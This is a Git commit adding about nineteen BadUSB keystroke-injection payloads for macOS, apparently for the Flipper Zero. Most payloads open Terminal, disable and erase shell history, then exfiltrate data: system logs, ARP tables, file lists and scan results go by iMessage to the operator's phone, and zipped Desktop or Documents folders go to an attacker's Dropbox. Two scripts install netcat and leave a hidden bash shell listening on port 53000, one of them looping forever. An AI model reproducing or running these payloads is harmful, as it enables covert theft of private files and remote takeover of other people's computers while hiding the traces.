mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-18 09:41:30 +00:00
Added submodule back in (raw files)
This commit is contained in:
UberGuidoZ
@@ -0,0 +1,36 @@
|
||||
REM This script retrieves the contents of the system log located at /var/log/system.log
|
||||
REM Then sends the Users System logs to your phone via text message
|
||||
REM Replace 'ENTER PHONE NUMBER HERE' with your actual Phone number
|
||||
REM Shoutout to matthewkayne and 0iphor13 for the Phone code
|
||||
|
||||
|
||||
REM Title: macOS System Log to iPhone
|
||||
REM Author: Narsty
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING x=$(cat /var/log/system.log); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"'
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 5000
|
||||
GUI k
|
||||
DELAY 250
|
||||
GUI w
|
||||
@@ -0,0 +1,39 @@
|
||||
REM This script uses the "x=$(arp -a)" command to retrieve ARP table information.
|
||||
REM Then it sends the information to your iPhone.
|
||||
|
||||
|
||||
REM Shoutout to matthewkayne and 0iphor13 for the Phone code part.
|
||||
REM Replace "Phone Number HERE" with your phone number to receive MacOs System information
|
||||
|
||||
|
||||
REM Title: Arp table to Iphone
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING x=$(arp -a); osascript -e 'tell application "Messages" to send "'"$x"'" to buddy "Phone Number HERE"'
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 5000
|
||||
GUI w
|
||||
@@ -0,0 +1,22 @@
|
||||
REM This script opens the terminal.
|
||||
REM It searches for all JPEG image files located on the entire hard drive.
|
||||
REM It copies the found JPEG images to a folder named "Images" in the destination of your choice.
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: Copy All JPEG Images
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category:
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 300
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING find / -type f -iname "*.jpeg" -exec cp {} ~/Insert Destination here /Images/ \;
|
||||
DELAY 2000
|
||||
ENTER
|
||||
@@ -0,0 +1,66 @@
|
||||
REM This script copies the contents of the Desktop and uploads it to a specific dropbox API
|
||||
REM Just replace "<API access token here>" with your actual API access token. line 26
|
||||
REM Once the desktop contents .zip is uploaded to your dropbox
|
||||
REM The Backup folder containing the .zip will be deleted and the terminal will be cleared and closed.
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: Desktop Data to Dropbox
|
||||
REM Version 2.0 MacOs
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING Terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING mkdir -p ~/Desktop/Backup
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING cp -R ~/Desktop/* ~/Desktop/Backup/
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo 'cd ~/Desktop/Backup && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <API access token here>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh
|
||||
ENTER
|
||||
DELAY 2500
|
||||
ENTER
|
||||
STRING chmod +x upload.sh
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING nohup ./upload.sh >/dev/null 2>&1 &
|
||||
ENTER
|
||||
DELAY 2000
|
||||
CTRL C
|
||||
DELAY 500
|
||||
STRING rm ~/Desktop/Backup
|
||||
DELAY 2000
|
||||
STRING rm upload.sh
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 5000
|
||||
STRING rm backup.zip
|
||||
DELAY 2000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING CLEAR
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
GUI w
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
@@ -0,0 +1,37 @@
|
||||
REM This script gets a list of the files on the Desktop,
|
||||
REM then it sends the list to your iphone.
|
||||
REM Shoutout to matthewkayne and 0iphor13 for the Phone code part.
|
||||
|
||||
REM Replace "Phone Number HERE" with your phone number to receive MacOs System information
|
||||
|
||||
REM Title: Desktop file list to iPhone
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING x=$(ls /Users/*/Desktop); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"'
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 2000
|
||||
GUI h
|
||||
@@ -0,0 +1,53 @@
|
||||
REM This script Creates a folder in the tmp directory
|
||||
REM copies the contents of the Documents into the tmp folder zips it
|
||||
REM zips it and uploads it to a specific dropbox API
|
||||
|
||||
REM Replace "<API access token here>" with your actual API access token.
|
||||
|
||||
REM Title: Document to Dropbox API
|
||||
REM Author: Narsty
|
||||
REM Version 1.0 MacOs
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING Terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING mkdir -p /tmp/Backup/Documents
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING cp -R ~/Documents/. /tmp/Backup/Documents
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING cd /tmp/Backup && zip -r backup.zip Documents
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <API access token here>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 10000
|
||||
STRING rm /tmp/Backup/backup.zip
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING rm -r /tmp/Backup/Documents
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING clear
|
||||
DELAY 250
|
||||
ENTER
|
||||
DELAY 500
|
||||
GUI w
|
||||
@@ -0,0 +1,45 @@
|
||||
REM This script gets a list of the files in the documents folder,
|
||||
REM then it sends the list to your iphone.
|
||||
REM Shoutout to matthewkayne and 0iphor13 for the Phone code part.
|
||||
|
||||
REM Replace "Phone Number HERE" with your phone number to receive MacOs System information
|
||||
REM Replace "SYSTEM USERNAME HERE" with your phone number to receive MacOs System information
|
||||
|
||||
REM Title: Documents file list to iPhone
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING x=$(ls /Users/SYSTEM USERNAME HERE/Documents); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"'
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 2000
|
||||
GUI W
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
REM Replace <dropbox URL> with the actual URL for the file you want to download.
|
||||
REM Additionally, replace filename with the desired name and extension for the downloaded file.
|
||||
REM the script will download a file to the target MacOs desktop
|
||||
|
||||
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: Dropbox File Downloader
|
||||
REM Version 1.0 MacOs
|
||||
REM Category: Recon
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING nohup curl -L -o ~/Desktop/<filename> "<Dropbox URL>" &
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
GUI w
|
||||
@@ -0,0 +1,39 @@
|
||||
REM Script for System Execution Testing
|
||||
REM This script is designed to test system execution capabilities and security settings on macOS.
|
||||
REM It performs a series of controlled executions to assess the system's behavior and identify any vulnerabilities.
|
||||
|
||||
REM You can replace <desktop> with th path of your flipper to save the data dump
|
||||
|
||||
|
||||
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: GuardianForge
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 1000
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING csrutil status > ~/Desktop/security_info.txt && sleep 2
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING spctl --status >> ~/Desktop/security_info.txt && sleep 2
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING codesign -dv --verbose=4 /bin/bash >> ~/Desktop/security_info.txt && sleep 2
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING ps aux | grep -v "root\|_" >> ~/Desktop/security_info.txt && sleep 2
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING lsof -i >> ~/Desktop/security_info.txt && sleep 2
|
||||
ENTER
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
REM This script installs netcat using home-brew (can adjust delay)
|
||||
REM Sets up a continuous loop using netcat to establish a connection
|
||||
REM and execute a bash shell every 180 seconds.
|
||||
|
||||
|
||||
REM Now on your separate computer in your terminal Run the command 'nc <remote-ip> 53000'
|
||||
REM replace '<remote-ip>' with the IP address of the target computer.
|
||||
REM I've noticed that NC does not respond if you copy and paste so please type the I.P. out!
|
||||
REM If the connection is successful, you should now have a remote shell session on the remote computer.
|
||||
|
||||
REM To kill the listening port (53000 in this case) use the command below
|
||||
REM killall nc
|
||||
|
||||
|
||||
REM Requirements: install netcat on both the remote target and your computer 'brew install netcat'
|
||||
REM Requirements: Remote computer's IP address or hostname
|
||||
|
||||
REM Title: Infinite Reverse Shell.txt
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING brew install netcat
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 20000
|
||||
STRING nohup bash -c 'while true; do nc -l -p 53000 -vvv -e /bin/bash; sleep 180; done' &
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
CTRL d
|
||||
DELAY 500
|
||||
GUI w
|
||||
@@ -0,0 +1,42 @@
|
||||
REM This script does a Port scan using the targets I.P.
|
||||
REM then it sends the information from the scan to your phone.
|
||||
REM Shoutout to matthewkayne and 0iphor13 for the Phone code
|
||||
|
||||
REM Replace "Phone Number HERE" with your phone number to receive MacOs System information
|
||||
|
||||
REM Title: InfoInfiltrator
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING x=$(system_profiler SPHardwareDataType SPSoftwareDataType); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"'
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING CLEAR
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
GUI W
|
||||
@@ -0,0 +1,29 @@
|
||||
REM 'networksetup -listallhardwareports' This command lists all the hardware ports/interfaces on your Mac, such as Wi-Fi, Ethernet, Bluetooth, etc.
|
||||
REM 'ifconfig' This command displays the network interface configuration and status information.
|
||||
REM ;arp -a' This command shows the Address Resolution Protocol (ARP) cache table.
|
||||
REM It displays the mappings between IP addresses and MAC addresses of devices on your local network.
|
||||
|
||||
REM Title: Network Recon +
|
||||
REM Author: Narsty
|
||||
REM Version: 1.0
|
||||
REM Target: MacOs
|
||||
REM Category: Recon
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING networksetup -listallhardwareports
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING ifconfig
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING arp -a
|
||||
ENTER
|
||||
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
REM Network Recon and Cloud Sync Automation
|
||||
REM This script gathers network information from a macOS system
|
||||
REM then uploads it to Dropbox for easy synchronization and analysis.
|
||||
REM Replace "<API access token here>" with your actual API access token. line 25
|
||||
|
||||
REM Title: Network Recon to Dropbox
|
||||
REM Author: Narsty
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING osascript -e 'do shell script "networksetup -listallhardwareports > \"$HOME/Desktop/network_interfaces.txt\" && ipconfig getpacket en0 >> \"$HOME/Desktop/network_interfaces.txt\""'
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <API access token here>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/network_interfaces.txt\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @"$HOME/Desktop/network_interfaces.txt"
|
||||
DELAY 2000
|
||||
ENTER
|
||||
DELAY 5000
|
||||
STRING rm -r ~/Desktop/network_interfaces.txt
|
||||
DELAY 500
|
||||
ENTER
|
||||
STRING clear
|
||||
DELAY 500
|
||||
ENTER
|
||||
GUI w
|
||||
DELAY 500
|
||||
ENTER
|
||||
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
REM Use responsibly and with proper permissions.
|
||||
|
||||
REM This script initiates a network reconnaissance by scanning for live hosts,
|
||||
REM performing a port scan on live hosts,
|
||||
|
||||
|
||||
REM Author: Narsty
|
||||
REM Title: Network Reconnaissance
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
REM Replace (15.151.298.31) with your targets I.P. address
|
||||
|
||||
REM can insert multiple I.p.'s if needed
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING echo "Network Reconnaissance:"
|
||||
STRING && echo "------------------------------"
|
||||
STRING && echo "Scan Date: $(date)"
|
||||
STRING && echo "------------------------------"
|
||||
STRING && echo "Scanning for Live Hosts..."
|
||||
STRING && echo "------------------------------"
|
||||
STRING && ping -c 3 15.151.298.31
|
||||
STRING && ping -c 3 15.151.298.31
|
||||
REM Add more IP addresses to ping as needed
|
||||
STRING && echo "------------------------------"
|
||||
STRING && echo "Performing ARP Scan..."
|
||||
STRING && echo "------------------------------"
|
||||
STRING && arp -a
|
||||
ENTER
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
REM This script does a Port scan using the targets I.P.
|
||||
REM then it sends the information from the scan to your phone.
|
||||
REM Shoutout to matthewkayne and 0iphor13 for the Phone code
|
||||
|
||||
REM Replace "TARGET_IP" with I.P. of Target Mac
|
||||
REM Replace "Phone Number HERE" with your phone number to receive Network Information
|
||||
|
||||
REM Requirement: NMAP
|
||||
REM can install using homebrew 'brew install nmap'
|
||||
|
||||
REM Title: Nmap Scan to Iphone
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING x=$(nmap -p 1-1000 -T4 -v TARGET_IP); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"'
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 2000
|
||||
GUI W
|
||||
@@ -0,0 +1,68 @@
|
||||
REM Description: Uses Mac Terminals config.me command to do a PUBLIC I.P. lookup
|
||||
REM Saves the data to a folder on the desktop
|
||||
REM Then proceeds to upload the I.P. data to your API dropbox
|
||||
REM removes the folder on the desktop and closes the terminal
|
||||
REM Replace <API access token here> with your actual Dropbox API access token
|
||||
|
||||
|
||||
|
||||
REM Title: Public I.P. Finder to Dropbox
|
||||
REM Author: Narsty
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING public_ip=$(curl -s ifconfig.me);
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 3000
|
||||
STRING mkdir ~/Desktop/"Public I.P. Data" && echo "Your TARGETS IP address is: $public_ip" > ~/Desktop/"Public I.P. Data"/public_ip.txt
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo 'cd ~/Desktop/"Public I.P. Data" && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <Your API token Here>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh
|
||||
DELAY 2000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING chmod +x upload.sh
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING nohup ./upload.sh >/dev/null 2>&1 &
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING rm upload.sh
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING rm -rf ~/Desktop/"Public I.P. Data"
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING CLEAR
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
GUI w
|
||||
DELAY 500
|
||||
ENTER
|
||||
@@ -0,0 +1,29 @@
|
||||
REM Description: Uses Mac Terminals config.me command to do a PUBLIC I.P. lookup
|
||||
REM displays the results in a pop up window
|
||||
REM & Saves the data to a folder on the desktop
|
||||
REM Folder is named "Public I.P. Data"
|
||||
|
||||
|
||||
REM Title: Public I.P. Finder
|
||||
REM Author: Narsty
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 500
|
||||
ENTER
|
||||
STRING curl -s ifconfig.me; echo
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING public_ip=$(curl -s ifconfig.me); osascript -e "tell app \"System Events\" to display dialog \"I FOUND YOU: $public_ip\" with title \"Public IP Address\""
|
||||
DELAY 500
|
||||
STRING mkdir ~/Desktop/"Public I.P. Data" && echo "Your TARGETS IP address is: $public_ip" > ~/Desktop/"Public I.P. Data"/public_ip.txt
|
||||
DELAY 500
|
||||
ENTER
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
REM This script uses Mac Terminals ifconfig.me command to do a PUBLIC I.P. lookup
|
||||
REM Then sends the I.p. to your phone via text message
|
||||
REM Replace 'ENTER PHONE NUMBER HERE' with your actual Phone number
|
||||
REM Shoutout to matthewkayne and 0iphor13 for the Phone code
|
||||
|
||||
|
||||
REM Title: Public I.P. to Iphone
|
||||
REM Author: Narsty
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING x=$(curl -s ifconfig.me/ip); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"'
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 4000
|
||||
STRING CLEAR
|
||||
DELAY 250
|
||||
GUI w
|
||||
@@ -0,0 +1,62 @@
|
||||
REM installs netcat using home-brew (can adjust delay)
|
||||
REM Runs the command nohup nc -l -p 53000 -vvv -e /bin/bash to start a netcat listener on port 53000
|
||||
REM clears the terminal
|
||||
REM Gui m minimizes the terminal window
|
||||
|
||||
|
||||
|
||||
REM Now on your separate computer in your terminal Run the command 'nc <remote-ip> 53000'
|
||||
REM replace '<remote-ip>' with the IP address of the target computer.
|
||||
REM I've noticed that NC does not respond if you copy and paste so please type the I.P. out!
|
||||
REM If the connection is successful, you should now have a remote shell session on the remote computer.
|
||||
|
||||
REM To kill the listening port (53000 in this case)
|
||||
REM you can use the kill command followed by the process ID (PID#)
|
||||
REM to find the PID use command 'ps -ef | grep "nc -lvp 53000"'
|
||||
REM Once you have the PID # run the command 'kill <PID#>'
|
||||
|
||||
|
||||
REM to check if the port is closed
|
||||
REM on the target computer run the command 'netstat -tuln | grep 53000'
|
||||
REM If the listening port is closed, there should be no output or listing for port 53000.
|
||||
|
||||
|
||||
REM Requirements: install netcat on both the remote target and your computer 'brew install netcat'
|
||||
REM Requirements: Remote computer's IP address or hostname
|
||||
|
||||
REM Title: Reverse Shell
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 1000
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING brew install netcat
|
||||
DELAY 250
|
||||
ENTER
|
||||
DELAY 15000
|
||||
STRING nohup nc -l -p 53000 -vvv -e /bin/bash &
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING clear
|
||||
ENTER
